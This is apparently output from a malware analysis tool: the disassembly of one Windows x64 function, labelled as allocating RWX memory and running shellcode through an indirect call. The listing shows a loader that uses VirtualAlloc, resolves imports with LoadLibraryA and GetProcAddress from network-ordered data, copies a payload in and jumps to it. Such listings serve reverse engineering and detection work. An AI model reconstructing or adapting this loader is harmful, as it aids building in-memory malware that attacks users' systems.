Function at 0x140006cb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
sub rsp, 0x60
call fcn.140007240
mov rsi, rax
test rax, rax
je 0x14000722c
movsxd rdx, dword [rax + 0x10]
xor ecx, ecx
mov r8d, 0x3000
mov qword [rsp + 0x48], r12
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x140007227
mov ecx, 0x1f8
mov qword [rsp + 0x30], r15
call fcn.14000c354
mov qword [rsp + 0x88], rax
mov r15, rax
test rax, rax
je 0x140007222
mov qword [rsp + 0x70], rbx
lea rcx, [rax + 0xf8]
mov qword [rsp + 0x58], rbp
xor edx, edx
mov r8d, pe_nt_image_headers64
mov qword [rsp + 0x50], rdi
call fcn.140008f40
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebp, ebp
mov qword [r15], rax
mov ebx, ebp
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [r15 + 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [rbp + 0xc]
mov qword [r15 + 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [r15 + 0x18], rax
lea rax, [0x140007500]
mov qword [r15 + 0x20], rax
lea rax, [0x140007510]
mov qword [r15 + 0x28], rax
lea rax, [0x140007540]
mov qword [r15 + 0x30], rax
lea rax, [0x140007580]
mov qword [r15 + 0x38], rax
lea rax, [0x1400075c0]
mov qword [r15 + 0x40], rax
lea rax, [0x1400075d0]
mov qword [r15 + 0x48], rax
lea rax, [0x140007900]
mov qword [r15 + 0x50], rax
lea rax, [0x140007950]
mov qword [r15 + 0x58], rax
lea rax, [0x140007960]
mov qword [r15 + 0x68], rax
lea rax, [0x140007a00]
mov qword [r15 + 0x60], rax
lea rax, [0x140007a50]
mov qword [r15 + 0x78], rax
lea rax, [0x140007a80]
mov qword [r15 + 0x70], rax
lea rax, [0x140007aa0]
mov qword [r15 + 0x80], rax
lea rax, [0x140007660]
mov qword [r15 + 0x88], rax
lea rax, [0x140007680]
mov qword [r15 + 0x90], rax
lea rax, [0x140007770]
mov qword [r15 + 0x98], rax
lea rax, [0x1400077f0]
mov qword [r15 + 0xa0], rax
lea rax, [0x140007880]
mov qword [r15 + 0xa8], rax
lea rax, [0x140007ae0]
mov qword [r15 + 0xb0], rax
lea rax, [fcn.1400066b0]
mov qword [r15 + 0xc0], rax
lea rax, [fcn.140007c60]
mov qword [r15 + 0xb8], rax
lea rax, [0x140007bd0]
mov qword [r15 + 0xf0], rax
mov qword [r15 + 0xc8], rbp
mov qword [r15 + 0xe8], rbp
mov qword [r15 + 0xd0], rbp
mov qword [r15 + 0xe0], rbp
mov qword [r15 + 0xd8], rbp
call fcn.14000c354
mov rdi, rax
test rax, rax
je 0x140007213
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r14
mov rcx, qword [rsi + 0x38]
mov r10d, 0x403
mov eax, ebx
lea r11d, [r10 + 1]
movsd xmm0, qword [rax + rcx]
lea r9d, [r10 - 1]
mov eax, dword [rax + rcx + 8]
lea r8d, [r10 - 2]
movsd qword [rdi], xmm0
lea edx, [r10 - 3]
mov dword [rdi + 8], eax
movzx eax, word [rdi + 2]
cmp ax, r11w
je 0x14000718e
cmp ax, dx
jne 0x140006f03
mov eax, dword [rdi + 8]
mov r9, qword [rsi + 0x18]
mov dword [rsp + 0x20], eax
jmp 0x1400070f5
cmp ax, r8w
jne 0x140006f19
mov eax, dword [rdi + 8]
mov r9, qword [rsi + 0x28]
mov dword [rsp + 0x20], eax
jmp 0x1400070f5
cmp ax, r9w
jne 0x140006f2e
mov eax, dword [rdi + 8]
mov r9, r12
mov dword [rsp + 0x20], eax
jmp 0x1400070f5
cmp ax, r10w
jne 0x1400070e9
add ebx, 0xc
mov r14d, ebx
mov ecx, dword [rbx + rcx]
call qword [sym.imp.WS2_32.dll_ntohl]
movsxd r15, eax
mov edx, 1
lea ecx, [r15 + 1]
movsxd rcx, ecx
call fcn.140009b88
mov rbp, rax
test rax, rax
je 0x140007209
mov rdx, qword [rsi + 0x38]
mov r8, r15
add rdx, 4
mov rcx, rax
add rdx, r14
mov r13, r15
call fcn.1400096b0
mov rcx, qword [rsi + 0x38]
lea rdx, [rbx + r15]
mov ecx, dword [rdx + rcx + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edx, 1
mov dword [rsp + 0x78], eax
lea ecx, [rax + 1]
movsxd rcx, ecx
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140007209
mov rcx, qword [rsi + 0x38]
lea rdx, [rbx + r13]
movsxd r8, dword [rsp + 0x78]
add rcx, 8
add rdx, rcx
mov rcx, rax
call fcn.1400096b0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140006fe5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x14000712a
mov r15, qword [rsp + 0x88]
xor ebp, ebp
mov ecx, ebp
mov r9d, ebp
lea r8, [r15 + 0xf8]
mov rdx, r8
cmp qword [rdx], r10
je 0x1400070b2
inc ecx
inc r9
add rdx, 8
cmp r9, 0x20
jl 0x140007016
mov ecx, ebp
mov rax, rbp
cmp qword [r8], rbp
je 0x1400070aa
inc ecx
inc rax
add r8, 8
cmp rax, 0x20
jl 0x140007033
mov edx, 1
mov ecx, 0x800
call fcn.140009b88
mov r14, rax
test rax, rax
je 0x1400071bb
mov ecx, 0x4e
call qword [sym.imp.WS2_32.dll_htonl]
xor ecx, ecx
mov edi, eax
call qword [sym.imp.WS2_32.dll_htonl]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov edx, ntohl
mov dword [r14], edi
mov rcx, r14
mov dword [r14 + 4], ebx
mov dword [r14 + 8], eax
lea r8d, [rdx + 0x13]
call fcn.140004760
mov rcx, r14
call fcn.14000a0b4
jmp 0x1400071bb
mov qword [r15 + rax*8 + 0xf8], r10
movsxd r9, ecx
add r9, 0x1f
lea r9, [r15 + r9*8]
test r9, r9
je 0x140007047
mov rdx, qword [rsi + 8]
mov r8, r12
mov rcx, rdi
mov dword [rsp + 0x20], ebp
call fcn.1400073f0
test eax, eax
je 0x1400071bb
lea eax, [r13 + 8]
add eax, dword [rsp + 0x78]
add ebx, eax
jmp 0x14000710f
movsx rax, ax
mov dword [rsp + 0x20], ebp
lea r9, [r15 + rax*8]
mov rdx, qword [rsi + 8]
mov r8, r12
mov rcx, rdi
call fcn.1400073f0
test eax, eax
je 0x1400071bb
add ebx, 0xc
mov ecx, ntohl
call fcn.14000c354
mov rdi, rax
test rax, rax
je 0x140007209
jmp 0x140006eb4
mov edx, 1
mov ecx, 0x400
call fcn.140009b88
mov rbx, rax
test rax, rax
je 0x140007209
mov qword [rsp + 0x28], r15
lea r9, str._s__s
mov edx, 0x400
mov qword [rsp + 0x20], rbp
mov r8, 0xffffffffffffffff
mov rcx, rax
call fcn.140001ec0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea ecx, [r9 + 0x4c]
call fcn.140005880
mov rcx, rbx
call fcn.14000a0b4
mov r15, qword [rsp + 0x88]
jmp 0x1400071bb
movsxd r8, dword [rsi + 0x10]
mov rcx, r12
mov rdx, qword [rsi + 8]
call fcn.1400096b0
movsxd r8, dword [rsi + 0x10]
xor edx, edx
mov rcx, qword [rsi + 8]
call fcn.140008f40
mov eax, dword [rsi]
mov edx, dword [rsi + 0x50]
add rax, r12
mov rcx, qword [rsi + 0x48]
call rax
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r15
call fcn.14000a0b4
mov rcx, qword [rsi + 8]
call fcn.14000a0b4
mov rcx, qword [rsi + 0x18]
call fcn.14000a0b4
mov rcx, qword [rsi + 0x28]
call fcn.14000a0b4
mov rcx, qword [rsi + 0x38]
call fcn.14000a0b4
mov rcx, qword [rsi + 0x48]
call fcn.14000a0b4
mov rcx, rsi
call fcn.14000a0b4
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov r15, qword [rsp + 0x30]
mov r12, qword [rsp + 0x48]
add rsp, 0x60
pop rsi
ret